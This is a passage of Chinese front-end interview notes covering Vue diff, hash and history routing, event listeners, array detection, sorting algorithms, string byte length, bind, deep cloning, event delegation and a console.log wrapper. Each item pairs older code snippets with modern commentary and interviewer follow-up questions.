    头头比 a 和 d 不中,尾尾比 d 和 c 不中,头尾比 a 和 c 不中,尾头比旧尾 d 和新头 d 命中,把 d 挪到最前面,剩下 a b c 一路头头命中。整个过程只移动一次。

  • Vue 3 为什么要求最长递增子序列?

    中间乱序段里,旧位置下标递增的那批节点相对顺序没变,可以原地不动,只挪剩下的。子序列越长,要动的节点越少,比如 [b, c, d] 变 [c, d, b],c d 是递增的,只移动 b 一次。

  • 一个纯静态的大表格,Vue 3 每次更新还会去比吗?

    不会。静态节点会被提升到渲染函数外,只创建一次,Block Tree 只收集带 PatchFlag 的动态节点,diff 时直接拿这个扁平数组比,静态内容整片跳过。

  • 跨层级把一个组件从左栏拖到右栏,diff 能复用它吗?

    不能。diff 只做同层比较,换了父节点就是旧的卸载、新的挂载,组件状态会丢。要保留状态得把状态提到外面,或者用 Teleport、KeepAlive 这类方案绕开。

# 4 路由原理 history 和 hash 两种路由方式的特点

⚡ 30 秒速记

  • hash:改 # 后面的部分 + 监听 hashchange,# 后面不发给服务器,刷新不会 404
  • history:pushState / replaceState 改地址不刷新,前进后退靠 popstate;刷新会真请求这个路径
  • history 上线必须让服务端兜底回 index.html,Nginx 写 try_files $uri $uri/ /index.html
  • pushState 不触发 popstate,路由库是在 push 里自己调渲染的
  • SEO 和分享链接上 history 更干净;hash 适合纯静态托管、没法改服务端配置的场景
  • Vue Router 4 写法:createWebHistory() / createWebHashHistory()

两种模式都是改地址不刷新页面,差别在 URL 长什么样,以及服务端要不要配合。 hash 模式改的是 # 后面的内容,浏览器不会把它发给服务器,所以随便刷新都没事,监听 hashchange 就能切视图。history 模式用 pushState 改地址,链接干净,但用户一刷新,浏览器就会拿 /user/123 真的去请求服务器,没配兜底就是 404。我一般默认用 history,上线前一定确认 Nginx 或网关把找不到的路径回退到 index.html。

时序图 · 4 个参与者 / 10 步
alt hash 模式history 模式alt 配了 try_files 兜底没配兜底用户用户浏览器浏览器前端路由前端路由NginxNginx点击站内链接1pushState 改地址2匹配路由并渲染组件3地址变了,但没有发请求按 F5 刷新4只请求 / ,井号后面不发5返回 index.html6请求 /user/1237返回 index.html84049加载脚本,按当前地址渲染10

hash 模式

  • location.hash 的值实际就是 URL 中#后面的东西 它的特点在于:hash 虽然出现 URL 中,但不会被包含在 HTTP 请求中,对后端完全没有影响,因此改变 hash 不会重新加载页面
  • 可以为 hash 的改变添加监听事件
window.addEventListener("hashchange", funcRef, false);
  • 每一次改变 hash(window.location.hash),都会在浏览器的访问历史中增加一个记录利用 hash 的以上特点,就可以来实现前端路由“更新视图但不重新请求页面”的功能了。
  • 特点:兼容性好但是不美观

history 模式

利用了 HTML5 History Interface 中新增的 pushState() 和 replaceState() 方法

  • 这两个方法应用于浏览器的历史记录站,在当前已有的 back、forward、go 的基础之上,它们提供了对历史记录进行修改的功能。这两个方法有个共同的特点:当调用他们修改浏览器历史记录栈后,虽然当前 URL 改变了,但浏览器不会刷新页面,这就为单页应用前端路由“更新视图但不重新请求页面”提供了基础
  • 特点:虽然美观,但是刷新会出现 404 需要后端进行配置

# 九、编程题相关

💬 面试官追问

  • history 模式本地好好的,部署后一刷新子页面就 404,怎么改?

    本地 dev server 默认做了回退,线上 Nginx 没做。加一行 try_files $uri $uri/ /index.html;,让不存在的静态路径都回到入口页,再由前端路由接管。真正不存在的页面前端自己渲染 404 组件。

  • 调 history.pushState 之后页面没变,popstate 也没触发,正常吗?

    正常。popstate 只在前进、后退或 history.back() / go() 时触发,pushState 只改地址和历史栈。所以路由库都是包一层 push,改完地址自己调一次渲染。

  • 用户点链接跳到同一个 hash,页面没反应,为什么?

    location.hash 设成和当前一样的值不会触发 hashchange,历史栈也不新增。要强制刷新视图就在路由层判断同路由时自己触发,或者带个查询参数让地址不一样。

  • 项目部署在 /admin/ 子路径下,history 模式要注意什么?

    路由要配 base,比如 createWebHistory('/admin/'),构建工具的 publicPath 或 base 也要一致,Nginx 兜底写成 try_files $uri /admin/index.html;。三处对不上,要么资源 404,要么刷新回到根站点。

  • Vue Router 4 的 hash 模式底层还是监听 hashchange 吗?

    不是。createWebHashHistory 内部也用 pushState 和 popstate,只是把路径放在 # 后面。原生 hashchange 那套更多是 Vue Router 3 及更早的兼容做法。

# 1 写一个通用的事件侦听器函数

⚡ 30 秒速记

  • 现在直接用 addEventListener,attachEvent 那套 IE8 兼容分支可以删了
  • 第三个参数传对象:capture、once、passive、signal
  • 解绑要传同一个函数引用,匿名函数和 bind 出来的新函数都解不掉
  • 批量解绑用 AbortController:绑定时传 signal,一次 abort() 全解
  • 委托版:绑在父元素上,回调里用 e.target.closest(selector) 找真正的目标
  • passive: true 告诉浏览器你不会 preventDefault,滚动不用等 JS,移动端很有用

今天写通用事件监听,核心就是包一层 addEventListener,把绑定、解绑和事件委托统一起来。 attachEvent、cancelBubble、returnValue 那套是 IE8 时代的东西,现在面试提一句知道就行。我更关心几个细节:解绑必须拿到同一个函数引用,所以封装函数最好把解绑函数返回出去;组件卸载要批量清理时用 AbortController 的 signal 最省事;滚动、触摸类事件加 passive: true,不然浏览器得等你的回调跑完才敢滚。

 // event(事件)工具集,来源:github.com/markyun
    markyun.Event = {

        // 视能力分别使用dom0||dom2||IE方式 来绑定事件
        // 参数: 操作的元素,事件名称 ,事件处理程序
        addEvent : function(element, type, handler) {
            if (element.addEventListener) {
                //事件类型、需要执行的函数、是否捕捉
                element.addEventListener(type, handler, false);
            } else if (element.attachEvent) {
                element.attachEvent('on' + type, function() {
                    handler.call(element);
                });
            } else {
                element['on' + type] = handler;
            }
        },
        // 移除事件
        removeEvent : function(element, type, handler) {
            if (element.removeEventListener) {
                element.removeEventListener(type, handler, false);
            } else if (element.datachEvent) {
                element.detachEvent('on' + type, handler);
            } else {
                element['on' + type] = null;
            }
        },
        // 阻止事件 (主要是事件冒泡,因为IE不支持事件捕获)
        stopPropagation : function(ev) {
            if (ev.stopPropagation) {
                ev.stopPropagation();
            } else {
                ev.cancelBubble = true;
            }
        },
        // 取消事件的默认行为
        preventDefault : function(event) {
            if (event.preventDefault) {
                event.preventDefault();
            } else {
                event.returnValue = false;
            }
        },
        // 获取事件目标
        getTarget : function(event) {
            return event.target || event.srcElement;
        }

💬 面试官追问

  • el.removeEventListener('click', handler.bind(this)) 为什么没解掉?

    bind 每次都返回一个新函数,跟绑定时那个不是同一个引用。绑定时先存起来 this.onClick = handler.bind(this),解绑传 this.onClick;或者干脆用 signal,不用管引用。

  • 组件里绑了十几个监听,卸载时怎么不漏?

    建一个 const ctrl = new AbortController(),每个 addEventListener 都传 { signal: ctrl.signal },卸载时 ctrl.abort() 一次全解。比逐个 remove 可靠,也不用保存函数引用。

  • touchmove 里调 preventDefault() 不生效,控制台还有警告,为什么?

    Chrome 56 起,挂在 window、document、body 上的 touchstart / touchmove 默认是 passive,里面调 preventDefault 会被忽略。真要拦就显式写 { passive: false },但会影响滚动性能,尽量用 touch-action: none 这类 CSS 解决。

  • 事件委托里点到了 li 里面的 span,e.target 不是 li 怎么办?

    用 e.target.closest('li') 往上找,再判断找到的元素在不在委托容器里:if (li && ul.contains(li))。别用 e.target.tagName === 'LI',嵌套一层就失效。

  • once: true 和自己在回调里 remove 有区别吗?

    效果一样,once 是浏览器帮你在第一次触发后自动移除,不用存引用,也不会因为回调里抛错漏掉解绑。

# 2 如何判断一个对象是否为数组

⚡ 30 秒速记

  • 首选 Array.isArray(x),跨 iframe 也准
  • 兜底 Object.prototype.toString.call(x) === '[object Array]'
  • instanceof Array 跨 iframe / Node 的 vm 会失效,每个环境有自己的 Array 构造函数
  • constructor 能被改,typeof 返回 'object',这俩都别用
  • 冷知识:toString 能被 Symbol.toStringTag 骗,Array.isArray 骗不了

判断数组直接用 Array.isArray,它是语言层面的判断,最准。 很多人第一反应是 instanceof Array,它看的是原型链上有没有当前页面的 Array.prototype,从 iframe 里传过来的数组原型是另一个窗口的,结果就是 false。Object.prototype.toString.call 以前常用来兜底,但它可以被 Symbol.toStringTag 伪造。所以现在我只写 Array.isArray,再拿 toString 兜一层属于多余,isArray 为 false 时正常数据走 toString 也不会是 true。

function isArray(arg) {
  return Array.isArray(arg) || (typeof arg === 'object' && Object.prototype.toString.call(arg) === '[object Array]');
}

首先使用 Array.isArray 方法判断 arg 是否为数组。如果是数组,则直接返回 true。否则,执行后面的类型判断逻辑。

这样,你可以使用 isArray 函数来判断一个对象是否为数组。例如:

console.log(isArray([])); // true
console.log(isArray({})); // false
console.log(isArray('')); // false

💬 面试官追问

  • iframe 里传出来的数组,arr instanceof Array 为什么是 false?

    每个窗口有自己的一套全局对象,iframe 里的数组原型链指向它自己的 Array.prototype,跟父页面的不是同一个。Array.isArray 不看原型链,看的是对象内部是不是数组,所以照样返回 true。

  • 有人写 const o = { [Symbol.toStringTag]: 'Array' },toString 会判错吗?

    会,Object.prototype.toString.call(o) 返回 '[object Array]'。Array.isArray(o) 还是 false,这也是我只信 isArray 的原因。

  • Array.isArray(new Proxy([], {})) 是什么结果?

    true。规范里 isArray 遇到 Proxy 会去看它包的目标对象,目标是数组就算数组。

  • arguments、NodeList 算数组吗?怎么转成真数组?

    都不算,是类数组,有 length 和下标,没有 map 这些方法。用 Array.from(arguments) 或 [...nodeList] 转。

  • TypeScript 里用 Array.isArray 收窄类型要注意什么?

    对 unknown 能收窄成 any[],元素类型丢了,后面还要自己校验元素。对 readonly string[] | string 这种联合类型,老版本 TS 收窄得不准,必要时自己写个类型守卫函数。

# 3 冒泡排序

⚡ 30 秒速记

  • 相邻两两比较,大的往后换,每轮把当前最大值冒到末尾
  • 内层范围每轮缩一格:j < len - 1 - i
  • 加 swapped 标志,一轮没交换就提前退出,最好情况 O(n)
  • 平均和最坏 O(n²),空间 O(1),稳定(相等不交换)
  • 工程里不会用它,直接 arr.sort((a, b) => a - b),V8 是 TimSort,稳定

冒泡排序就是从头到尾两两比较相邻元素,前面的大就交换,一轮下来最大的那个会冒到最后。 下一轮就不用管已经排好的末尾了,所以内层循环每次少比一个。我一般会加一个 swapped 标志,某一轮一次交换都没有,说明已经有序,直接退出,已经排好的数组只要扫一遍。它是稳定排序,因为只有前面严格大于后面才换,相等的元素不会颠倒顺序。

它通过比较相邻的两个数,如果后一个数比前一个数小,则交换它们的位置。重复这个过程,直到所有的数都按照从小到大的顺序排列。

代码中使用了两层嵌套的循环。外层循环控制比较的轮数,内层循环用于比较相邻的两个数并交换位置。

下面代码添加了一个标志位来判断是否发生了交换,如果某一轮比较中没有发生交换,说明数组已经有序,可以提前结束循环。

var arr = [3, 1, 4, 6, 5, 7, 2];

function bubbleSort(arr) {
    var len = arr.length;
    for (var i = 0; i < len - 1; i++) {
        var swapped = false; // 标志位,判断是否发生交换
        for (var j = 0; j < len - i - 1; j++) {
            if (arr[j] > arr[j + 1]) {
                var temp = arr[j];
                arr[j] = arr[j + 1];
                arr[j + 1] = temp;
                swapped = true; // 发生了交换
            }
        }
        if (!swapped) {
            break; // 没有发生交换,提前结束循环
        }
    }
    return arr;
}

console.log(bubbleSort(arr));

我们在内层循环中添加了一个标志位 swapped,初始值为 false。如果发生了交换,将 swapped 设置为 true。在每一轮外层循环结束后,检查 swapped 的值,如果为 false,说明数组已经有序,提前结束循环。

这样可以避免在已经排序完成的数组上进行不必要的比较,提高了冒泡排序的效率。

运行结果应为 [1, 2, 3, 4, 5, 6, 7]。

💬 面试官追问

  • 比较条件写成 arr[j] >= arr[j + 1] 会怎样?

    结果还是升序,但相等的元素也会被交换,稳定性没了。比如按分数排学生,同分的人原来的顺序会被打乱。

  • [1, 2, 3, 4, 5] 用加了 swapped 的版本要比较几次?

    第一轮比较 4 次,一次没换,直接退出,总共 4 次。没加标志的版本要比较 4 + 3 + 2 + 1 = 10 次。

  • 除了 swapped,还能怎么继续优化?

    记录每轮最后一次交换的位置,它后面的都已经有序,下一轮只比到这个位置。适合尾部大段已经有序的数组。

  • 冒泡、选择、插入这三个 O(n²) 排序,真要选一个用哪个?

    插入排序。它稳定,对接近有序的数据很快,交换次数也少,TimSort 里处理小段数据用的就是插入排序。冒泡基本只在面试里出现。

  • arr.sort() 不传比较函数排 [10, 9, 1] 会得到什么?

    [1, 10, 9]。默认把元素转成字符串按 UTF-16 码元比较,'10' < '9'。数字排序一定要传 (a, b) => a - b。

# 4 快速排序

⚡ 30 秒速记

  • 分治:选基准 pivot,小的放左边、大的放右边,两边递归
  • 平均 O(n log n),最坏 O(n²)(基准总是选到最大或最小),不稳定
  • filter / 新建左右数组的写法好懂,但要 O(n) 额外空间,不是原地排序
  • 原地版用双指针分区(Lomuto / Hoare),递归栈平均 O(log n)
  • 防退化:随机选基准或三数取中;大量重复值用三路快排;小区间切插入排序
  • 用 splice 取基准会改掉调用方传进来的数组,先 slice() 拷一份

快排就是挑一个基准值,把比它小的放左边、比它大的放右边,然后左右两堆各自再这么干。 新建左右数组的写法每层都要再 concat,好写好懂,但额外空间是 O(n),面试能主动说出这点会加分。真正的快排是原地分区,用两个指针在数组里交换元素。它平均是 O(n log n),但基准选得差会退化成 O(n²),比如已经有序的数组每次都选第一个当基准,所以工程实现都会随机选基准或者三数取中。

采用二分法,取出中间数,数组每次和中间数比较,小的放到左边,大的放到右边

快速排序的思想很简单,整个排序过程只需要三步:

  • 在数据集之中,找一个基准点
  • 建立两个数组,分别存储左边和右边的数组
  • 利用递归进行下次比较
  • 快速排序的时间复杂度为 O(nlogn),是一种高效的排序算法
var arr = [3, 1, 4, 6, 5, 7, 2];

function quickSort(arr) {
    if(arr.length == 0) {
        return [];    // 返回空数组
    }

    var cIndex = Math.floor(arr.length / 2);
    var c = arr.splice(cIndex, 1);
    var l = [];
    var r = [];

    for (var i = 0; i < arr.length; i++) {
        if(arr[i] < c) {
            l.push(arr[i]);
        } else {
            r.push(arr[i]);
        }
    }

    return quickSort(l).concat(c, quickSort(r));
}

console.log(quickSort(arr));

💬 面试官追问

  • 对一个已经排好序的 10 万条数组,每次取第一个元素当基准会怎样?

    每次分区都是一边空、一边 n - 1 个,退化成 O(n²),递归深度到 10 万,大概率直接栈溢出。改成随机选基准,或者取首、中、尾三个数的中位数。

  • 数组里全是重复值,比如 [5, 5, 5, ...],普通快排有什么问题?

    Lomuto 分区会把相等元素全分到一边,同样退化到 O(n²)。用三路快排,分成小于、等于、大于三段,等于那段不再递归。

  • const c = arr.splice(mid, 1) 拿到的是数组,arr[i] < c 为什么还能比?

    c 是 [x],比较时数组先转成字符串 'x' 再转数字,单个数字碰巧能比对。concat(c, ...) 也会把这个单元素数组拍平。能跑但很别扭,应该写 const [c] = arr.splice(cIndex, 1),而且最好先拷贝一份别改原数组。

  • 快排为什么不稳定?

    分区时元素会跨着交换,两个相等的值可能被换到彼此的另一侧。需要稳定排序就用归并排序,或者直接用 Array.prototype.sort,ES2019 起规范要求它稳定。

  • 能手写一个原地分区吗?

    Lomuto 最好写:取末尾为基准,i 指向小于区的边界,j 从左扫,arr[j] < pivot 就和 arr[++i] 交换,最后把基准换到 i + 1,返回这个下标。

# 5 编写一个方法 求一个字符串的字节长度

⚡ 30 秒速记

  • 先问清按什么编码算:题目假设的是中文 2 字节,接近 GBK;前端和接口里实际多是 UTF-8
  • UTF-8:ASCII 占 1,大部分中文占 3,emoji 占 4
  • 最准的写法:new TextEncoder().encode(str).length,或 new Blob([str]).size
  • 手写按码点分段:< 0x80 记 1、< 0x800 记 2、< 0x10000 记 3、否则 4
  • str.length 数的是 UTF-16 码元,一个 emoji 算 2,既不是字符数也不是字节数

这题第一步要先问清楚按什么编码算,答案完全不一样。 题目里假设英文 1 字节、中文 2 字节,用 charCodeAt(i) > 255 多加一,这是 GBK 那套口径,做旧系统的短信计费或者数据库字段长度校验时还会遇到。现在前后端传输基本都是 UTF-8,中文是 3 字节,emoji 是 4 字节,直接 new TextEncoder().encode(str).length 就行,别自己判断码点。比如接口限制 body 不超过 1KB,前端校验就要用这种方式算。

  • 假设:一个英文字符占用一个字节,一个中文字符占用两个字节
function GetBytes(str){
    var len = str.length;
    var bytes = len;
    for(var i=0; i<len; i++){
        if (str.charCodeAt(i) > 255) bytes++;
    }
    return bytes;
}

alert(GetBytes("你好,as"));

按 UTF-8 计算字节长度的两种写法

中文占 2 字节是 GBK 这类双字节编码的约定。实际开发里,网络传输、localStorage 配额、接口长度限制基本都按 UTF-8 算。

// 写法一:交给浏览器原生编码器,最准
const byteLen = (str) => new TextEncoder().encode(str).length

byteLen('abc')   // 3
byteLen('你好')  // 6
byteLen('😀')    // 4

// 写法二:手写,按码点分段
function utf8Bytes(str) {
  let n = 0
  for (const ch of str) {            // for...of 按码点遍历,emoji 不会被拆开
    const cp = ch.codePointAt(0)
    n += cp < 0x80 ? 1 : cp < 0x800 ? 2 : cp < 0x10000 ? 3 : 4
  }
  return n
}

utf8Bytes('你好,as') // 9(按中文 2 字节的口径是 7)

Node 里还可以用 Buffer.byteLength(str, 'utf8')。如果题目明确约定「中文算 2、英文算 1」,用上面的 GetBytes 循环即可,面试时要主动说明这是一种简化约定。

💬 面试官追问

  • '😀'.length 是多少?按 UTF-8 是几个字节?

    length 是 2,因为它在 UTF-16 里是一对代理项。UTF-8 下是 4 字节。上面那个 charCodeAt 循环会把它算成 4,凑巧对了,但中文就会算成 2 而不是 3。

  • 数据库字段是 VARCHAR(20),前端怎么限制用户输入?

    先问后端这个 20 是字符数还是字节数。MySQL 5.0 以后 VARCHAR(n) 的 n 是字符数,这时按字符算,用 [...str].length 数码点;如果是按字节限制,就用 TextEncoder 算 UTF-8 字节数。

  • 手写 UTF-8 字节数,遍历时要注意什么?

    用 for...of 或 codePointAt 按码点遍历,别按下标 charCodeAt,不然代理对会被拆成两个字符各算 3 字节,emoji 算成 6。

  • TextEncoder 只支持 UTF-8 吗?要算 GBK 怎么办?

    对,TextEncoder 只输出 UTF-8。TextDecoder 能解 GBK,但浏览器没有原生的 GBK 编码器,要么按中文 2 字节的简化规则估算,要么引 iconv-lite 这类库。

# 6 bind的用法,以及如何实现bind的函数和需要注意的点

⚡ 30 秒速记

  • fn.bind(ctx, ...args) 返回新函数,不立即执行;call / apply 是立即执行
  • 手写骨架:闭包存原函数、ctx、预置参数,调用时把两批参数拼起来 apply
  • 最容易漏:绑定后的函数被 new 调用时,绑定的 this 失效,要指向新实例,预置参数照样生效
  • 还要把原函数的返回值 return 出去,不然 bound() 永远拿到 undefined
  • 多次 bind 只有第一次生效;箭头函数 bind 改不了 this
  • 别直接覆盖 Function.prototype.bind,手写版挂成 myBind

bind 返回一个 this 被固定住的新函数,可以顺便预置前几个参数,什么时候调用由你决定。 手写不难,闭包存住原函数、上下文和预置参数,调用时拼上新参数用 apply 执行。最容易写漏两点:一是要把执行结果 return 出来,二是要处理 new。规范里绑定函数被 new 的时候会忽略绑定的 this,直接用新创建的实例,所以手写版要判断 this instanceof bound,并且让实例能访问到原函数原型上的方法。

  • bind的作用与call和apply相同,区别是call和apply是立即调用函数,而bind是返回了一个函数,需要调用的时候再执行。

一个简单的bind函数实现如下

Function.prototype.bind = function(ctx) {
    var fn = this;
    return function() {
        fn.apply(ctx, arguments);
    };
};

bind方法用于创建一个新函数,并将其中的this值绑定到指定的对象。与call和apply不同,bind方法不会立即调用函数,而是返回一个绑定了指定this值的新函数,供以后调用。

它将原函数保存在fn变量中,然后返回了一个匿名函数。当新函数被调用时,它会使用fn.apply来设置函数的上下文(this值)为传入的ctx对象,并将参数通过arguments对象传递进去。

需要注意的是,bind方法还可以接受额外的参数,这些参数会在调用新函数时作为参数传递进去。修改代码,使其支持传递额外参数的实现如下:

Function.prototype.bind = function(ctx) {
    var fn = this;
    var args = Array.prototype.slice.call(arguments, 1); // 获取额外参数
    return function() {
        var combinedArgs = args.concat(Array.prototype.slice.call(arguments)); // 合并额外参数和新函数调用时的参数
        fn.apply(ctx, combinedArgs);
    };
};

另外,需要注意的是,使用原型链修改内置对象的方法可能会与其他代码发生冲突或不兼容。因此,在实际开发中,最好避免修改内置对象的原型方法,以免引起意想不到的问题。

💬 面试官追问

  • const f = fn.bind(a).bind(b),调用 f() 时 this 是谁?

    是 a。第一次 bind 返回的函数内部已经写死了用 a 调 fn,第二次 bind 只是改了外层那个函数的 this,外层根本不用它。

  • function Person(name) { this.name = name },new (Person.bind(obj))('Tom') 结果是什么?

    返回一个新的 Person 实例,name 是 'Tom',obj 没被改。new 的优先级比 bind 绑定的 this 高。

  • 手写版怎么处理 new 的情况?

    在返回的函数里判断 this instanceof bound,是就用 this 当上下文,不是才用 ctx;再写 bound.prototype = Object.create(fn.prototype),让实例能拿到原型方法,又不会改到原函数的原型。

  • React 类组件里为什么要在构造函数里 bind,不在 JSX 里写 onClick={this.handle.bind(this)}?

    在 JSX 里写,每次渲染都生成一个新函数,子组件用了 memo 或 PureComponent 也会因为 props 变了而重新渲染。构造函数里绑一次,或者用类字段箭头函数 handle = () => {},引用就稳定了。

  • 原生 bind 出来的函数和原函数在属性上有什么不同?

    name 变成 'bound fn',length 是原函数形参个数减去预置参数个数,最小为 0,而且原生绑定函数没有 prototype 属性。手写版一般做不到完全一致,面试说出来就行。

# 7 实现一个函数clone

⚡ 30 秒速记

  • 先问清浅拷贝还是深拷贝,这本身就是考点
  • 浅拷贝:{ ...obj }、Object.assign({}, obj)、arr.slice()
  • 深拷贝首选 structuredClone():支持循环引用、Date、Map、Set、RegExp,但函数会报错,原型会丢
  • 手写要点:递归、WeakMap 处理循环引用、特殊类型单独处理、null 别当对象递归
  • JSON.parse(JSON.stringify(x)) 会丢函数和 undefined,Date 变字符串,遇到循环引用直接抛错
  • 别往 Object.prototype 上挂 clone,会污染所有对象的 for...in

先确认要浅拷贝还是深拷贝,深拷贝现在优先用原生 structuredClone,面试要手写的话重点讲清循环引用和特殊类型。 手写的骨架就是基本类型直接返回,数组和对象新建一个空壳再递归复制每个属性。最简单的递归版有几个坑要主动说:不处理循环引用的话,a.self = a 会无限递归爆栈;Date、RegExp 不单独处理会被拷成空对象;把方法挂到 Object.prototype 上会多出一个可枚举属性,全局的 for...in 都会多出个 clone。我会用一个 WeakMap 记录拷过的对象,碰到同一个对象直接返回之前那份。

可以对JavaScript中的5种主要的数据类型,包括Number、String、Object、Array、Boolean)进行值复

  • 考察点1:对于基本数据类型和引用数据类型在内存中存放的是值还是指针这一区别是否清楚
  • 考察点2:是否知道如何判断一个变量是什么类型的
  • 考察点3:递归算法的设计
// 方法一:
Object.prototype.clone = function(){
    var o = this.constructor === Array ? [] : {};
    for(var e in this){
            o[e] = typeof this[e] === "object" ? this[e].clone() : this[e];
    }
    return o;
}
//方法二:
/**
* 克隆一个对象
* @param Obj
* @returns
*/
function clone(Obj) {
    var buf;
    if (Obj instanceof Array) {
        buf = [];                    //创建一个空的数组
        var i = Obj.length;
        while (i--) {
            buf[i] = clone(Obj[i]);
        }
        return buf;
    }else if (Obj instanceof Object){
        buf = {};                   //创建一个空对象
        for (var k in Obj) {           //为这个对象添加新的属性
            buf[k] = clone(Obj[k]);
        }
        return buf;
    }else{                         //普通变量直接赋值
        return Obj;
    }
}

这里提供了两种方法来实现对象的克隆(clone)。

  • 方法一使用了原型链的方式,在Object.prototype上添加了一个名为clone的方法。该方法可以克隆一个对象,对于数组类型则创建一个空数组,对于对象类型则创建一个空对象,并递归地复制属性值。
  • 方法二是一个独立的函数clone,通过判断对象的类型来进行不同的处理。如果是数组类型,则创建一个空数组,并递归地克隆数组的每个元素;如果是对象类型,则创建一个空对象,并递归地克隆对象的每个属性;对于其他类型的变量,直接返回该变量。
  • 这两种方法都使用了递归算法,通过遍历对象的属性,并根据属性的类型进行复制操作,从而实现对象的克隆。需要注意的是,在使用递归算法时,要注意处理循环引用的情况,以避免进入无限循环。

在实际开发中,可以根据需要选择适合的方法来实现对象的克隆。同时,还可以使用现代的深拷贝工具库,如lodash、underscore等,来实现更复杂的对象克隆操作。

💬 面试官追问

  • const a = {}; a.self = a; 交给不处理循环引用的 clone 会怎样?

    clone(a) 拷 self 时又进入 clone(a),无限递归,最后 Maximum call stack size exceeded。传一个 WeakMap,进来先查有没有拷过,有就直接返回那份。

  • structuredClone 拷一个 class 实例会怎样?

    数据字段能拷过来,但原型丢了,变成普通对象,instanceof 是 false,原型上的方法也调不了。对象里有函数属性的话会直接抛 DataCloneError。

  • 为什么 WeakMap 而不是 Map 存已拷贝的对象?

    WeakMap 的键是弱引用,拷贝完这个映射表没人引用了,里面的对象能正常被回收。用 Map 也能跑,函数结束后一样会释放,区别不大,但 WeakMap 语义更贴切。

  • 深拷贝一个 5MB 的表单状态,每次输入都拷一次,页面卡了,怎么改?

    问题不在拷贝写法,在于不该每次全量深拷贝。改成只改变化的那一层,其他层复用引用,也就是 immer 那种结构共享,或者用 { ...state, field: value } 只拷路径上的对象。

  • Object.assign 会拷贝 getter 吗?

    不会拷 getter 本身,它会读一次 getter 的值,把结果当普通属性写到目标上。要保留访问器得用 Object.defineProperties(target, Object.getOwnPropertyDescriptors(src))。

# 8 下面这个ul,如何点击每一列的时候alert其index

⚡ 30 秒速记

  • 首选事件委托:只给 ul 绑一次 click,用 e.target.closest('li') 找到被点的项
  • 索引:[...ul.children].indexOf(li),或者渲染时写进 data-index
  • 循环里直接绑:用 let 声明 i,每轮迭代都是新绑定,闭包拿到的是各自的值
  • 用 var 三个回调共享同一个 i,点哪个都是 3;老办法是 IIFE 包一层或挂 this.index
  • 委托的好处:一个监听器,后来动态加的 li 也能响应

这题考的是闭包,但现在我会直接用事件委托来写,更省事也更实用。 给 ul 绑一次点击,回调里用 e.target.closest('li') 找到点的是哪一项,再用 [...ul.children].indexOf(li) 算索引,后面加多少个 li 都不用再绑。如果非要每个 li 单独绑,就把循环变量改成 let,每轮迭代会创建新的绑定。用 var 的话所有回调共享同一个 i,循环跑完它已经是 3,点哪个都弹 3。

考察闭包

 <ul id=”test”>
     <li>这是第一条</li>
     <li>这是第二条</li>
     <li>这是第三条</li>
 </ul>
  // 方法一:
  var lis=document.getElementById('2223').getElementsByTagName('li');
  for(var i=0;i<3;i++)
  {
      lis[i].index=i;
      lis[i].onclick=function(){
          alert(this.index);
  }

 //方法二:
 var lis=document.getElementById('2223').getElementsByTagName('li');
 for(var i=0;i<3;i++){
     lis[i].index=i;
     lis[i].onclick=(function(a){
         return function() {
             alert(a);
         }
     })(i);
 }

💬 面试官追问

  • 把 var 改成 let 为什么就好了?

    for 循环里的 let 每次迭代都会创建一个新的 i,并用上一轮的值初始化,每个回调闭包住的是自己那一轮的 i。var 是函数作用域,只有一个 i。

  • 列表有 1000 项还会动态增删,用哪种写法?

    事件委托。只绑一个监听器,内存和绑定开销都小,新增的项也不用补绑。索引别在点击时用 indexOf 遍历,渲染时写进 data-index 或 data-id,回调里直接读 li.dataset.id。

  • <ul id=”test”> 用的是中文引号,getElementById('test') 能拿到吗?

    拿不到。中文引号不是 HTML 的属性引号,浏览器会把它当成值的一部分,id 实际是 ”test”。这类代码从文档里复制过来最容易踩,getElementById 返回 null,后面再调方法就报 TypeError。

  • 委托时点在 li 内部的图标上,怎么保证拿到的是 li?

    用 e.target.closest('li'),它从当前元素往上找第一个匹配的祖先。再加一句 ul.contains(li),防止嵌套列表时找到外层的 li。

  • Vue 或 React 里还需要手动做委托吗?

    一般不用。React 17 起事件统一委托在根容器上,React 16 是委托在 document 上;Vue 是直接绑在元素上,长列表在意性能时才手动委托到父元素。写 v-for 时直接 @click="onClick(index)" 就能拿到索引。

# 9 定义一个log方法,让它可以代理console.log的方法

⚡ 30 秒速记

  • 多参数原样转发:function log(...args) { console.log(...args) }
  • 加前缀:console.log('[app]', ...args)
  • 保留调用行号:const log = console.log.bind(console, '[app]'),DevTools 显示的是调用 log 的那一行
  • 包一层函数的写法,控制台里的文件行号全指向封装文件,排查不方便
  • 生产环境加开关,比如 import.meta.env.DEV 时才输出

最简单是用剩余参数把所有实参原样转给 console.log,console.log.apply(console, arguments) 是 ES5 写法,意思一样。 如果要加统一前缀,可以 console.log('[app]', ...args)。我实际项目里更喜欢 console.log.bind(console, '[app]'),因为包一层函数之后,控制台右边显示的文件行号全都指向封装函数那一行,而 bind 出来的函数行号指向真正调用的地方,排查问题方便得多。

// 可行的方法一:
function log(msg) {
    console.log(msg);
}

log("hello world!") // hello world!

如果要传入多个参数呢?显然上面的方法不能满足要求,所以更好的方法是:

function log(){
  console.log.apply(console, arguments);
};

💬 面试官追问

  • 直接 const log = console.log 然后 log('hi') 会报错吗?

    现代浏览器和 Node 都不会。很早以前的 Chrome 会报 Illegal invocation,因为 console.log 要求 this 是 console。写成 console.log.bind(console) 在哪都稳。

  • 封装后的 log,控制台右侧的行号都显示在 logger.js 里,怎么办?

    换成 bind 出来的函数,不要包一层函数体。或者在 DevTools 里把 logger.js 加进忽略列表,控制台会跳过它显示上一层调用位置。

  • 想把 console 所有方法都加前缀,怎么写?

    遍历 ['log', 'info', 'warn', 'error'],每个都 logger[k] = console[k].bind(console, '[app]')。用 Proxy 也能做,但 get 里返回的是包装函数,行号又会丢。

  • 线上要去掉所有 console.log,怎么做最干净?

    构建时去掉,比如 terser 的 drop_console 或 esbuild 的 drop: ['console']。但 console.error 我一般保留或者改接 Sentry,全删了线上出问题就没线索了。

# 10 输出今天的日期

⚡ 30 秒速记

  • getFullYear()、getMonth() + 1、getDate(),月份从 0 开始是最经典的坑
  • 补零:String(m).padStart(2, '0')
  • 别用 toISOString().slice(0, 10),它是 UTC 时间,北京时间早上 8 点前会拿到昨天
  • toLocaleDateString 的格式看地区:en-US 是 09/26/2014,zh-CN 是 2014/09/26,不是 YYYY-MM-DD
  • 项目里用 dayjs().format('YYYY-MM-DD');Temporal 是以后的原生方案

